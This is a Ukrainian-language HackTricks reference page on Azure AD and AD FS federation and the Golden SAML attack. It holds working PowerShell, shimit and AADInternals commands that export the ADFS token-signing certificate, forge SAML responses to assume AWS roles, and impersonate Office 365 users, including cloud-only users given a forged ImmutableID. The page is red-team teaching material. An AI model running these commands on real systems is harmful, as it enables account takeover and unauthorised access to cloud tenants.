Az - Federation

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

Основна інформація

З документів:Федерація - це колекція доменів, які встановили довіру. Рівень довіри може варіюватися, але зазвичай включає аутентифікацію і майже завжди включає авторизацію. Типова федерація може включати кілька організацій, які встановили довіру для спільного доступу до набору ресурсів.

Ви можете федеративно з'єднати ваше локальне середовище з Azure AD і використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що вся аутентифікація користувачів відбувається на місці. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з AD FS та PingFederate доступна.

В основному, у Федерації вся аутентифікація відбувається в локальному середовищі, і користувач отримує SSO у всіх довірених середовищах. Тому користувачі можуть доступати до хмарних додатків, використовуючи свої локальні облікові дані.

Мова розмітки безпеки (SAML) використовується для обміну всією інформацією про аутентифікацію та авторизацію між постачальниками.

У будь-якій конфігурації федерації є три сторони:

• Користувач або Клієнт

• Постачальник ідентичності (IdP)

• Постачальник послуг (SP)

(Зображення з https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

1. Спочатку користувач отримує доступ до програми (Постачальник послуг або SP, наприклад, консоль AWS або веб-клієнт vSphere). Цей крок може бути пропущений, що призводить клієнта безпосередньо до IdP (Постачальник ідентичності) залежно від конкретної реалізації.

2. Потім SP визначає відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Потім він формує SAML (Мова розмітки безпеки) AuthnRequest і перенаправляє клієнта до вибраного IdP.

3. IdP бере на себе аутентифікацію користувача. Після аутентифікації IdP формує SAMLResponse і пересилає його до SP через користувача.

4. Нарешті, SP оцінює SAMLResponse. Якщо валідація пройшла успішно, що означає довірчі відносини з IdP, користувачу надається доступ. Це позначає завершення процесу входу, що дозволяє користувачу використовувати послугу.

Якщо ви хочете дізнатися більше про аутентифікацію SAML та поширені атаки, перейдіть за посиланням:

SAML AttacksHackTricks

Півотування

• AD FS є моделлю ідентичності на основі заяв.

• "..заяви - це просто твердження (наприклад, ім'я, особистість, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до заявлених додатків, розташованих будь-де в Інтернеті."

• Заяви для користувача записуються всередині SAML токенів і потім підписуються для забезпечення конфіденційності з боку IdP.

• Користувач ідентифікується за допомогою ImmutableID. Він є глобально унікальним і зберігається в Azure AD.

• ImmutableID зберігається на місці як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача.

• Більше інформації на https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Атака Golden SAML:

• У ADFS SAML Response підписується сертифікатом підпису токенів.

• Якщо сертифікат скомпрометований, можливо аутентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!

• Так само, як і в нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь аутентифікації.

• Сертифікат можна витягти з сервера AD FS з привілеями DA, а потім його можна використовувати з будь-якого підключеного до Інтернету комп'ютера.

• Більше інформації на https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Процес, за яким Постачальник ідентичності (IdP) генерує SAMLResponse для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, відповідь може бути підписана або зашифрована за допомогою приватного ключа IdP. Ця процедура дозволяє Постачальнику послуг (SP) підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.

Можна провести паралель з атакою золотого квитка, де ключ, що аутентифікує особу та дозволи користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотого SAML), може бути маніпульований для підробки об'єкта аутентифікації (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP.

Золоті SAML мають певні переваги:

• Їх можна створювати віддалено, без необхідності бути частиною домену або федерації.

• Вони залишаються ефективними навіть при включеній двофакторній аутентифікації (2FA).

• Приватний ключ підпису токенів не оновлюється автоматично.

• Зміна пароля користувача не анулює вже згенерований SAML.

AWS + AD FS + Golden SAML

Служба федерації Active Directory (AD FS) - це служба Microsoft, яка полегшує безпечний обмін інформацією про особу між довіреними бізнес-партнерами (федерація). Вона дозволяє службі домену ділитися ідентичностями користувачів з іншими постачальниками послуг у межах федерації.

З AWS, що довіряє скомпрометованому домену (в федерації), цю вразливість можна експлуатувати для потенційного отримання будь-яких дозволів у середовищі AWS. Атака вимагає приватного ключа, використаного для підпису SAML об'єктів, подібно до необхідності мати KRBTGT в атаці золотого квитка. Доступ до облікового запису користувача AD FS є достатнім для отримання цього приватного ключа.

Вимоги для виконання атаки Golden SAML включають:

• Приватний ключ підпису токенів

• Публічний сертифікат IdP

• Ім'я IdP

• Ім'я ролі (роль для прийняття)

• Домен\ім'я користувача

• Ім'я сесії ролі в AWS

• Ідентифікатор облікового запису Amazon

Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням.

Щоб отримати приватний ключ, необхідний доступ до облікового запису користувача AD FS. Звідти приватний ключ можна експортувати з особистого сховища за допомогою таких інструментів, як mimikatz. Щоб зібрати іншу необхідну інформацію, ви можете використовувати Microsoft.Adfs.Powershell snapin наступним чином, переконавшись, що ви увійшли як користувач ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

З усією інформацією можливо забути дійсний SAMLResponse як користувач, якого ви хочете наслідувати, використовуючи shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n [e-mail] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

Локально -> хмара

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Також можливо створити ImmutableID для користувачів лише в хмарі та видавати себе за них.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Посилання

• https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed

• https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!

• Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.

• Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.